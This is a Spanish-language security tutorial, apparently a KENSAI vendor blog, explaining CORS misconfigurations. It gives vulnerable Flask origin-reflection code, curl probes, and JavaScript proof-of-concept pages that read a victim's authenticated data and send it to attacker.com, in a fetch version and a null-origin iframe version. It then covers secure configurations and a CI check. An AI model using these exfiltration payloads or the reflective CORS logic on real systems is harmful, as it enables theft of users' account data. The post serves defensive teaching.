Las configuraciones incorrectas de CORS son una de las vulnerabilidades recompensadas con mayor frecuencia en los programas de recompensas por errores, y también una de las más subestimadas. Un solo encabezado Access-Control-Allow-Origin mal configurado puede exponer todos los endpoints autenticados de una API a dominios controlados por atacantes.
De forma predeterminada, los navegadores aplican la política del mismo origen (SOP): el código JavaScript que se ejecuta en attacker.com no puede leer las respuestas de bank.com. CORS es el mecanismo que relaja esta restricción y, cuando está mal configurado, puede socavar por completo la SOP.
El intercambio de recursos de origen cruzado (CORS) es un mecanismo basado en encabezados HTTP que permite a un servidor indicar qué orígenes (dominio + esquema + puerto) distintos del suyo pueden leer sus respuestas. Cuando un navegador realiza una solicitud entre orígenes, aplica la política CORS del servidor.
Los encabezados esenciales que debes conocer:
Access-Control-Allow-Origin — especifica qué origen puede leer la respuestaAccess-Control-Allow-Credentials — indica si se incluyen cookies o encabezados de autenticaciónAccess-Control-Allow-Methods — métodos HTTP permitidosAccess-Control-Allow-Headers — encabezados de solicitud permitidosAccess-Control-Expose-Headers — encabezados de respuesta visibles para JavaScriptLa vulnerabilidad más crítica ocurre cuando un servidor devuelve tanto Access-Control-Allow-Origin: [controlado por el atacante] COMO Access-Control-Allow-Credentials: true. Esto permite a los atacantes realizar solicitudes autenticadas desde su sitio y leer las respuestas.
Los navegadores rechazan Access-Control-Allow-Origin: * cuando se combina con credenciales. Los desarrolladores suelen intentarlo y después «corregirlo» reflejando dinámicamente el origen, lo que crea una vulnerabilidad aún peor.
# Lógica vulnerable del lado del servidor (Python/Flask)
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # NUNCA HAGAS ESTO
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
Ahora cualquier origen puede leer respuestas autenticadas. Esta es la vulnerabilidad CORS más común en los programas de recompensas por errores.
# Vulnerable: comprueba si el dominio de confianza aparece EN CUALQUIER PARTE del origen
if 'trusted-bank.com' in request.headers.get('Origin', ''):
# Evasión: el atacante registra evil-trusted-bank.com o trusted-bank.com.evil.com
allow_origin(origin)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
El origen null puede activarse mediante iframes aislados, redirecciones y URL file://. Los atacantes pueden crear páginas que envíen solicitudes con Origin: null.
# Pretende permitir *.company.com, pero también permite evil.company.com.attacker.com
if origin.endswith('.company.com'):
allow_origin(origin)
Cuando se establece Access-Control-Max-Age, las respuestas preliminares almacenadas en caché pueden explotarse si la lógica de validación del origen cambia sin invalidar la caché.
# Prueba 1: comprobación básica de reflejo
curl -s -I -H "Origin: https://evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Prueba 2: origen null
curl -s -I -H "Origin: null" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Prueba 3: evasión mediante subdominio
curl -s -I -H "Origin: https://target.com.evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Prueba 4: evasión mediante prefijo de dominio
curl -s -I -H "Origin: https://eviltarget.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Instalar y ejecutar Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10
# Escanear una lista de URL
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
En Burp Suite Pro, el escáner activo comprueba automáticamente las configuraciones incorrectas de CORS. Para realizar pruebas manuales, utiliza la extensión CORS* de BApp Store. Pasos:
Origin: https://evil.comAccess-Control-Allow-OriginAccess-Control-Allow-Credentials: true| Respuesta | Gravedad | ¿Explotable? |
|---|---|---|
ACAO: * | Baja-media | Solo sin credenciales |
Solo ACAO: [origen malicioso] | Media | Sin credenciales |
ACAO: [origen malicioso] + ACAC: true | Crítica | Sí: robo completo de credenciales |
ACAO: null + ACAC: true | Alta | Mediante un iframe aislado |
La siguiente PoC demuestra el impacto de las configuraciones incorrectas de CORS. Realiza pruebas únicamente en aplicaciones que sean de tu propiedad o para las que tengas permiso explícito por escrito.
<!-- Alojado en attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
credentials: 'include', // Envía cookies
mode: 'cors'
})
.then(r => r.text())
.then(data => {
// Exfiltrar al servidor del atacante
fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('Bloqueado por CORS:', e));
</script>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://victim.com/api/userdata', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>
<script>
window.addEventListener('message', e => {
fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>
Si un subdominio de confianza (por ejemplo, legacy.victim.com) está disponible para una toma de control y la API confía en *.victim.com, combinar la toma de control del subdominio con CORS crea una cadena de impacto crítica.
Un investigador descubrió que el endpoint /api/v2/payment-methods de la API de pagos reflejaba cualquier encabezado de origen con credenciales. Al alojar una página maliciosa en un dominio similar, podía leer silenciosamente los metadatos de las tarjetas de crédito guardadas por las víctimas (últimos 4 dígitos, fecha de caducidad y dirección de facturación), así como el saldo de sus cuentas, cuando visitaban la página del atacante.
El portal para pacientes de una empresa sanitaria aceptaba solicitudes procedentes de orígenes null. La API administrativa interna utilizaba la misma política CORS que la API orientada a los pacientes. Un iframe aislado del atacante podía leer PHI (información sanitaria protegida) de sesiones autenticadas, lo que constituía una infracción directa de HIPAA.
| Empresa | Vulnerabilidad | Recompensa |
|---|---|---|
| Shopify | Reflejo del origen en la API para comerciantes | 5,000 |
| Uber | Confianza en subdominios mediante comodín | $3,000 |
| Yahoo | Aceptación del origen null |
,500
# Python/Flask: implementación segura
ALLOWED_ORIGINS = {
'https://app.company.com',
'https://admin.company.com',
'https://company.com'
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin' # ¡Esencial para el almacenamiento en caché!
return response
// Node.js/Express: implementación segura
const allowedOrigins = new Set([
'https://app.company.com',
'https://company.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
# nginx.conf: CORS seguro
map $http_origin $cors_origin {
default "";
"https://app.company.com" $http_origin;
"https://company.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}
# No usar nunca: add_header 'Access-Control-Allow-Origin' '*';
}
}
*) con credencialesnull en producciónVary: Origin al establecer ACAO dinámicamenteCSRF explota el envío automático de cookies por parte del navegador en solicitudes que modifican el estado (escrituras). El atacante no necesita leer la respuesta. Las configuraciones incorrectas de CORS permiten a los atacantes leer respuestas entre orígenes. Ambas requieren que la víctima esté autenticada. CORS NO protege contra CSRF; para ello, utiliza tokens CSRF.
# Añadir a tu canalización de seguridad (por ejemplo, GitHub Actions)
- name: Escaneo de seguridad CORS
run: |
# Probar endpoints críticos
for endpoint in /api/user /api/account /api/payments; do
response=$(curl -s -I \
-H "Origin: https://evil-test-domain.com" \
"https://${{ env.TARGET_URL }}$endpoint")
if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
echo "CONFIGURACIÓN INCORRECTA DE CORS DETECTADA: $endpoint"
exit 1
fi
done
echo "Comprobación de CORS superada"
KENSAI analiza continuamente todos los endpoints de tu API para detectar configuraciones incorrectas de CORS, vulnerabilidades de reflejo del origen y problemas de confianza en orígenes null.
Iniciar escaneo gratuito →La gravedad depende de la combinación de encabezados. Access-Control-Allow-Origin: * por sí solo (sin credenciales) tiene una gravedad baja-media. Los casos críticos incluyen tanto un origen arbitrario o reflejado COMO Access-Control-Allow-Credentials: true, lo que permite el secuestro completo de sesiones y el robo de datos.
Las explotaciones de CORS requieren que la víctima visite la página del atacante mientras mantiene una sesión activa en el sitio objetivo. La explotación ocurre silenciosamente en segundo plano y la víctima no ve nada. Esto las hace especialmente peligrosas en escenarios de phishing.
No. CORS es un mecanismo que relaja la política del mismo origen y funciona independientemente de si se utiliza HTTPS. El esquema (http frente a https) forma parte del origen, pero utilizar HTTPS no corrige las configuraciones incorrectas de CORS.
El escáner activo de KENSAI prueba todos los endpoints de la API con encabezados de origen modificados y comprueba el reflejo de orígenes, la aceptación del origen null y la combinación crítica de orígenes reflejados con compatibilidad para credenciales. Los hallazgos se priorizan según su explotabilidad real, no solo por la presencia de encabezados.
La seguridad no es opcional.
🗡️ El equipo de KENSAI